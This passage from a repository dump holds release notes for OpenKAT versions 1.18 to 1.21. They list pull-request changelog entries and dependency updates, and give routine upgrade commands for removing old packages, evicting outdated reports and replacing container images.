Fix guidelines URLs by @Thijs0x57 in https://github.com/minvws/nl-kat-coordination/pull/3789\n* Add descriptions to katalogus by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/3545\n\nDependency Updates\n==================\n\n* Bump cryptography from 42.0.8 to 43.0.1 in /bytes by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3473\n* Bump django from 5.0.10 to 5.0.11 in /rocky by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4025\n* Bump django from 5.0.9 to 5.0.10 in /rocky by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3940*\n* Bump SonarSource/sonarcloud-github-action from 3.1.0 to 4.0.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4001\n* Bump python-multipart from 0.0.9 to 0.0.18 in /bytes by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3925\n* Remove sigrid workflows by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3920\n* Update Sphinx and documentation by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3710\n* Fix/pin pydicom dependency and revert irrelevant version bumps by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/3553\n* Bump django from 5.0.8 to 5.0.9 in /rocky by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3653\n* Bump sphinx-rtd-theme from 2.0.0 to 3.0.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3625\n* Bump waitress from 3.0.0 to 3.0.1 in /octopoes by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/3760\n* Update Wappalyzer by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3800\n* Update packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3990\n* Updates CWE archive to 4.16 by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3943\n* Update croniter by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3767\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3694\n* Update Packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3563\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/3898\n* Update pre-commit and all hooks by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3923\n\nUpgrading\n=========\n\nKeiko has been removed. You should uninstall / remove the Keiko package or container.\n\nContainers\n----------\n\nWhen using docker with docker compose, you need to remove keiko from the\ndocker-compose.yml file. You can then use `--remove-orphan` option to tell\ndocker compose to remove containers that are no longer in the compose file:\n\n.. code-block:: sh\n\n    docker compose up -d --remove-orphans\n\nDebian packages\n---------------\n\nIf you are using the :doc:`/installation-and-deployment/scripts` we provide to install/upgrade OpenKAT you\nneed to get the latest version that includes the kat-rocky-worker service.\n\nYou should also remove the kat-keiko package:\n\n.. code-block:: sh\n\n    apt purge kat-keiko\n\nNote that if you use the openkat-update.sh script to update to a newer 1.18\nversion (for example from 1.18.0rc1 to 1.18.0), then the kat-keiko will be\ninstalled again because the script will update or install all the packages. In 1.19\nthis won't happen because the kat-keiko package will not exist anymore.\n\nDeleting Outdated Reports\n=========================\n\nIt was possible to test the new reporting feature in v1.17.0.\nHowever, v1.18.0 introduces newer versions of the Reports that are not compatible with these older models.\nIf you have tested this feature in v1.17.0 or get a 500 error on the report (history) page,\nplease use the database CLI tool to purge the old reporting data.\n\nScript For The Containers\n-------------------------\n\nThe following script should perform this operation.\nCheck the `--url` (the XTDB_URI environment variable in a usual setup) and `--node` flags (the organisation code) and run the following command.\n\n.. code-block:: sh\n\n    docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test evict-all-reports\n\nNote that you should repeat the process for all organizations that face this issue.\nTo find all your organisation codes, consider checking in Rocky or calling the KATalogus API:\n\n.. code-block:: sh\n\n    docker compose run --rm -e DATABASE_MIGRATION=0 octopoes_api bash -c 'curl http://katalogus:8000/v1/organisations'\n    # To print only the organisation ids:\n    docker compose run --rm -e DATABASE_MIGRATION=0 octopoes_api bash -c 'curl -s http://katalogus:8000/v1/organisations | python -c \"import sys, json; print(list(json.loads(sys.stdin.read()).keys()))\"'\n\n\nScript Tor The Debian Packages\n------------------------------\n\nThe same holds for the debian packages, but invoking the script means having to set up the environment first.\nCheck the `--url` (the XTDB_URI environment variable in a usual setup) and `--node` flags (the organisation code) and run the following command.\n\n.. code-block:: sh\n\n    source /opt/venvs/kat-octopoes/bin/activate\n    export $(cat /usr/lib/kat/octopoes.defaults | grep -v \"#\") && export $(cat /etc/kat/octopoes.conf | grep -v \"#\")\n    cd /opt/venvs/kat-octopoes/lib/python3.11/site-packages\n    /opt/venvs/kat-octopoes/bin/python tools/xtdb-cli.py --url $XTDB_URI --node test evict-all-reports\n\nTo find all your organisation codes to apply this to multiple organisations,\nconsider checking your organisations in Rocky or call the KATalogus API:\n\n.. code-block:: sh\n\n    curl $KATALOGUS_API/v1/organisations\n    # To print only the organisation ids:\n    curl -s $KATALOGUS_API/v1/organisations | /opt/venvs/kat-octopoes/bin/python -c \"import sys, json; print(list(json.loads(sys.stdin.read()).keys()))\"\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/compare/v1.17.0...v1.18.0rc1>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.19.rst",
    "content": "============================================\nOpenKAT 1.19\n============================================\n\n\nNew Features and Bug fixes\n==========================\n\n* fix logout and styling by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4080\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4085\n* Lock down codeowner edit rights to operations by @nicktencate in https://github.com/minvws/nl-kat-coordination/pull/4086\n* Update build-rdo-package.yml by @sigio in https://github.com/minvws/nl-kat-coordination/pull/4081\n* optimize various bits around scan profiles by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4050\n* Hotfix for empty report in history table by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4087\n* remove inline styling / svg graph as not compatible with out CSP by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4075\n* Combined schedulers by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/3839\n* Remove unused queue_uri from boefje settings by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4068\n* Remove the empty keiko package and container by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4110\n* Updated testcase for `Schedule` should result in `schedule_id` of `Task` to be set to `None` by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4104\n* fix task list for boefjes, normalizer and ooi detail by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4115\n* Update client.py, reflect earlier changes in katalogus api by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4107\n* Pin Ubuntu runners to version `24.04` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4120\n* Remove deprecated queryparams by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4117\n* Fix 'created by' in report and add 'created from recipe' by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4094\n* Update disallowed_csp_hostnames.py, also trigger on higher level denied domains by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/3980\n* Fix ssl certificates boefje scan level by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4127\n* Add Nikto boefje that scans for outdated software by @Souf149 in https://github.com/minvws/nl-kat-coordination/pull/3409\n* Delete Report Schedules by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4089\n* Add missing locks in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4130\n* Remove block-all-mixed-content by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4073\n* Fix/side scrolling paginators by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4076\n* Create qa-test-plan.rst by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4113\n* Fix ooi detail scan warnings  by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4112\n* Multi report fixes by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4125\n* Update mixins.py, make sure findingsTypes are present in tree for OOI  detail page by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4139\n* Ci python 3.12 3.13 by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/3951\n* Call python3 instead of python in Makefile by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4148\n* Trim blocktranslates by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4154\n* Add CodeQL Scan by @BramVWS in https://github.com/minvws/nl-kat-coordination/pull/4078\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4151\n* Remove robotframework-tidy from rocky dev dependencies by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4155\n* Fix spf with identifier by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/4145\n* Remove caches for the KATalogus in the scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4108\n* Add logging configuration for celery.worker in case of a crash by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4153\n* Add permissions for RDO Build workflow Closes #4156 by @BramVWS in https://github.com/minvws/nl-kat-coordination/pull/4157\n* fix template tag for unknown user by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4150\n* Report notification for empty live set by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4152\n* Moved the RabbitMQ installation and configuration section by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4161\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4163\n* Add a cli command to evict reports due to a bug when upgrading from v1.17.0 to 1.18.0 by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4169\n* Implement/refactor fastapi 'extra models' in scheduler api by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4165\n* Add indices for task table by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4179\n* Better findings table by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/4172\n* Fixes dl behaviour within the findings table by @HeleenSG in https://github.com/minvws/nl-kat-coordination/pull/4181\n* Update docker-compose.release-example.yml by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4183\n* Fix redirect after editing boefje variant by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4170\n* Remove count from queue popping by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4177\n* Update text \"Enable plugins\" button in report flow by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4186\n* Fix documentation URL in Makefile by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4207\n* make sure we can link to the plugins section from the report sidemenu by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4185\n* Use TaskPush model for scheduling tasks in rocky by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4192\n* Add relationship filtering in the scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4136\n* Correctly check if list empty by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4206\n* Fix: commit read-only transactions as well and do not loop into 10k requests by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4194\n* Some refactoring and set the poll interval back by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4213\n* Fix possible html reinterpretation issues in javascript files by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4221\n* Disable `rich` tracebacks by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4218\n* Allow filter on multiple organizations in bytes API by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4215\n* Add missing report_type field in report recipe serializer by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4258\n* Add Octopoes bulk reports API by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4219\n* Do not compress modal JS by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4262\n* Dont allow open redirect in plugin_enable_disable.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4250\n* Add oci attributes to scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4257\n* Remove compress from javascript in report_history_table.html by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4266\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4261\n* Allow tls reports on hostname and ipaddresses by @noamblitz in https://github.com/minvws/nl-kat-coordination/pull/4188\n* Change default password policy to be compliant with ASVS 2.1.9 by @BramVWS in https://github.com/minvws/nl-kat-coordination/pull/4189\n* Fix mixed languages in text by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4284\n* Action for automatic uploading of Debian packages as release assets by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4288\n* Fix required form fields by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4283\n* Limit db and external service calls in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4217\n* Translation fix on plugin page by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4285\n* Include integration tests coverage by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4180\n* fix location PR templates by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4305\n* Fix a regression introduced in #4169 blocking the ability of of `octopoes/tools/xtdb-cli.py` to be called by @originalsouth in https://github.com/minvws/nl-kat-coordination/pull/4299\n* Python 3.10 compatibility for datetime parsing in report flow by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4302\n* Add changes from #4312 by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4319\n* Update kat_finding_types.json, add more in dept details by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4316\n* Findings dashboard for all organizations by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4007\n* Change OOI types for findings report by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4184\n* Ignore incorrect type assumption from mypy by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4337\n* Update QA testplan to add multiple organizations by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4338\n* Fix broken normaliser list view link in plugins.html by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4331\n* Shows the current plugin state to users who cannot enable/disable plugins themselves. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4326\n* Fix weblate by merging all pending translations by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4348\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4353\n* remove unneeded task statistics for generic task showing pages by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4344\n* Fix scheduled reports view showing reports for all organizations by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4351\n* Styling changes to meet the design by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4263\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4363\n* Fix/catch information source errors when filling/updating the rocky knowledge base by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4347\n* Update URL to docs in makefile by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4346\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4374\n* fix permissions on report_overview.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4264\n* add observed_at to links on finding_list.html by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4367\n* Remove unused scan profile increment queues by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4383\n* Add organisation queryparam for schedules endpoint by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4396\n* Upgrade jaeger and prometheus, and enable spm by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4282\n* Add all organization report task page by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4394\n* Make the list of boefjes uniqiue when querying the KATalogus for info on them by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4391\n* Feat/cleaner set scan profile form by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4345\n* Hotfix for NoReverseMatch in Crisis Room by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4405\n* (temp) fix time parsing in report_overview.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4402\n* Fixed link in tree view by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4404\n* Use Python 3.13 as default Python version in container images and CI by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4406\n* Update plugin tiles when user has no permission to enable/disable by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4412\n* Remove leftover debug logging by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4418\n* Add grafana pyroscope continuous profiling by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4297\n* Update 1.18.rst, add links to issues / bugs by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4419\n* Fix weblate by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4437\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4438\n* Call gc.collect() after execution of task by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4432\n* Fix broken image link in README.rst by @Potherca in https://github.com/minvws/nl-kat-coordination/pull/4444\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4439\n* Fixes for disable/enable schedule modal by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4400\n* Fix boefje detail page for client member by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4409\n* Open asset report from within report by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4435\n* Translations update from Hosted Weblate by @weblate in https://github.com/minvws/nl-kat-coordination/pull/4458\n* Add configs endpoint with (optional) duplicate configs across organisations by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4436\n* Fix exceptions and permission checks in katalogus client by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4457\n* Add exponential backoff for external service requests in scheduler by @jpbruinsslot in https://github.com/minvws/nl-kat-coordination/pull/4408\n* Add API for checking OOI existence in multiple organizations  by @Donnype in https://github.com/minvws/nl-kat-coordination/pull/4459\n* Fix delete recipe modal by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4350\n* use the active filter dict as an input for the count. by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4423\n* Fix clone settings organisation dropdown by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4461\n* Log duration of boefje, normalizer and report tasks by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4465\n* Fix findings history in findings report by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4466\n* Update add_ooi_information.py by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4476\n* Fix/add url to findings report by @Rieven in https://github.com/minvws/nl-kat-coordination/pull/4456\n* Add dashboard items from object page by @madelondohmen in https://github.com/minvws/nl-kat-coordination/pull/4426\n* use the available info when checking hostnames that are cnames (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4552\n* Fix crisis room code missing in Debian package (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4551\n* Update organization_crisis_room_header.html (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4550\n* Add observed_at to recipe href in report task list (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4549\n* Check HTTP response status code in boefje OCI adapter (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4556\n* Set ordering task stats count in scheduler (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4557\n* Check member permissions instead of user permissions for recalculating bits (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4558\n* Dashboard findings list (1.19) by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4559\n\nDocumentation\n=============\n\n* add 1.18 release notes by @underdarknl in https://github.com/minvws/nl-kat-coordination/pull/4083\n* 1.18 release notes improvements by @dekkers in https://github.com/minvws/nl-kat-coordination/pull/4109\n* Add docstrings to Octopoes models by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4038\n* Docs - Add links to website and github by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4287\n* Improve layout of docs.openkat.nl by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4300\n* Fixes toc layout on the docs by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4341\n* Add quick start to docs.openkat.nl by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4349\n* Docs - add description of origin types by @stephanie0x00 in https://github.com/minvws/nl-kat-coordination/pull/4289\n\nDependency Updates\n==================\n\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4114\n* Updated `cryptography` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4121\n* Bump settings-doc from 4.3.1 to 4.3.2 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4006\n* Updated Django and Jinja2 by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4162\n* Updated some packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4209\n* Updated some packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4245\n* Updated structlog by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4251\n* Bump docker/setup-buildx-action from 3.9.0 to 3.10.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4256\n* Bump docker/login-action from 3.3.0 to 3.4.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4255\n* Bump docker/build-push-action from 6.13.0 to 6.15.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4254\n* Bump docker/metadata-action from 5.6.1 to 5.7.0 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4253\n* Bump github/codeql-action from 3.28.10 to 3.28.13 by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4252\n* Updated dependencies by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4298\n* Updated `django_compressor` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4342\n* Updated some packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4364\n* Bump django from 5.0.13 to 5.0.14 in /rocky by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4281\n* Update packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4399\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4433\n* Update GitHub actions by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4434\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4453\n* Updated Django and other packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4441\n* Updated packages by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4472\n* Bump base-x from 3.0.9 to 3.0.11 in /rocky by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4407\n* Package updates in `cveapi` by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4473\n* Bump setuptools from 72.1.0 to 78.1.1 in /boefjes by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4474\n* Bump setuptools from 75.9.1 to 78.1.1 in /octopoes by @dependabot in https://github.com/minvws/nl-kat-coordination/pull/4475\n* Backport of package updates by @ammar92 in https://github.com/minvws/nl-kat-coordination/pull/4562\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/compare/v1.18.2...v1.19.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.20.rst",
    "content": "============================================\nOpenKAT 1.20\n============================================\n\nIn this release we have added deduplication of boefje tasks. This means that\nwhen the same object is in multiple organizations, we only run the boefje once\nand use the output in every organization. If you have users from multiple\norganizations it might be possible that a user can conclude from the\ndeduplication that an object is also in another organization in the same\ninstall. This might not be desirable, so this is by default disabled and can be\nenabled by setting `BOEFJES_DEDUPLICATE`.\n\nIn 1.20 we finished the containerization of all boefjes. All boefjes are run\nsandboxed as containers now.\n\nAsset reports have been made optional and can be disabled by setting\n`ASSET_REPORTS`. This is advised when you are creating reports on a large number\nof objects.\n\nNew Features\n============\n\n* Report sections can be added to a dashboard.\n* Organizations are ordered by name everywhere in the web interface.\n* Added warnings when you don't have permissions to set a clearance level or an indemnification is missing.\n* A number of design / style issues have been fixed / improved in the web interface.\n* Performance of mute findings has been improved and the mute findings button moved to the top of the page.\n* Number of calls from mula to octopoes have been optimized.\n* More settings and env variables are hidden in debug mode to prevent logging of credentials\n* Auth token can only be used to in the API tokens, not in the other views.\n* The boefje containers can only talk to the boefje API in the developer docker-compose.yml or when using the updated docker-compose.release-example.yml, not to the other services.\n* The question object has been changed to also show the current answer.\n* The onboarding has been improved and simplified.\n\n\nBug fixes\n=========\n\n* Make it possible to use SSL with PostgreSQL without a client certificate.\n* Fixed handling of a boefje task that fails.\n* Fixed dnssec false positives with cnames.\n* Fixed bug that report runner would lose the database connection and not reconnect.\n* Fixed AttributeError in onboarding when WebURL could not be found.\n* Several bugs in multi organization report have been fixed.\n* Fixed observed_at in report links.\n* Fixed filters on organization members page.\n\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nBoefje container images\n-----------------------\n\nThe boefje container images of 1.19 are not compatible with 1.20. The simplest\nway to use the latest boefje images is to delete them and let docker download\nthe latest version:\n\n.. code-block:: sh\n\n    docker image rm ghcr.io/minvws/openkat/dns-sec:latest ghcr.io/minvws/openkat/export-http:latest ghcr.io/minvws/openkat/nmap:latest\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/minvws/nl-kat-coordination/releases/tag/v1.20.0>`_.\n"
  },
  {
    "path": "docs/source/about-openkat/release-notes/1.21.rst",
    "content": "============================================\nOpenKAT 1.21 - Lapjeskat\n============================================\n\nIn this release we have primarily focussed on patching dependencies, and fixing all issues related to our move from MinVWS to SSC-ICT-Innovatie.\nOur last release from MinVWS was 1.20 In august, and since then many of our dependencies required patching, either because of security issues (so we do strongly recommend upgrading),\nor because of other general improvements. The move from one Github Repository, while being gracefully supported on both sides, did still create a series of issues regarding naming, container storage.\nWhile we have finished all those steps, it would be great to make those naming issues disappear altogether by making them dynamic. This would allow other forks of OpenKAT to also seamlessly build packages\nand containers, which in turn makes it easier to collaborate and keep in sync with others (and this repo).\nBesides these changes, we have also included a new docker container that sets up a local (automatically updating) CVE api. This services makes sure you never leak any discovered CVEs from your assets to an outside party or even continent.\nWork on a Performance release, addressing many of the localized issues is well underway and will be released as 1.22 soon.\n\nNew Features\n============\n\n* Fix backup and restore scripts for cross-platform support and correctness by @hasecon in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/5013\n* Remove url input for `kat_nuclei_cve`, It was adding no value over scanning the website/host by @ammar92 in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4761\n* Rewrite user manual by @madelondohmen in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4752\n* Support multiple ROAs in RPKI boefjes by @dekkers in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4780\n* Move to prek for precommit checks by @underdarknl in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/5003\n\nBug fixes\n=========\n\n* Dont crash on worker threads that have no PID, when reporting on stopped workers. by @underdarknl in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4803\n* Fix command substitution syntax in systemd service files by @underdarknl in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/5022\n* Pass katalogus settings to containerized boefjes and add local CVE API by @hasecon in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/5017\n* Fix observed_at in dashboard items and modal error handling by @madelondohmen in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4770\n* Fix styling issues by @stephanie0x00 in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4584\n* Fix DKIM false positives by reverting PR 3997 by @dekkers in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4775\n* Fix HTTPError handling in Octopoes connector by @dekkers in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4793\n* Fix DNSSEC boefje for CNAME / AAAA records by @dekkers in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4767\n\nUpgrading\n=========\n\nThe normal instructions for upgrading :ref:`Debian packages<Upgrading Debian>`\nor upgrading :ref:`containers <Upgrading_Containers>` should be followed.\n\nThere is a migration script available in the scripts folder named 'migrate-openkat.sh' which will migrate any data on your system from the older docker volumes into the new volumes required by the new openkat packages.\nMore in depth details can be found in its documentation.\nhttps://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/scripts/migrate.md\n\n!! Be sure to use the backup option and dry-run options before attempting a full migration. !!\n\nBoefje container images\n-----------------------\n\nThe boefje container images of 1.20 are still hosted by MinVWS, and as such can still be reached on their original URIs.\nThey are also compatible, but might miss out on some dependency upgrades. To upgrade to the new container registry their urls need to be changed in the katalogus database.\nDocker will then subsequently download the new images. Older images can be deleted by telling docker to do so using a command similar to the one below.\n\n.. code-block:: sh\n\n    docker images | grep 'ghcr.io/minvws/openkat' | awk '{print $3}' | xargs -r docker rmi\n    # optionally remove dangling layers to free up disk-space\n    docker image prune -f\n\n\nFull Changelog\n==============\n\nThe full changelog can be found on `Github\n<https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/compare/v1.20.1...v1.21.0>`_.\n\nNew Contributors\n================\n\n* @reinschaap made their first contribution in https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/pull/4937\n* @cookiemonster made their first contribution in 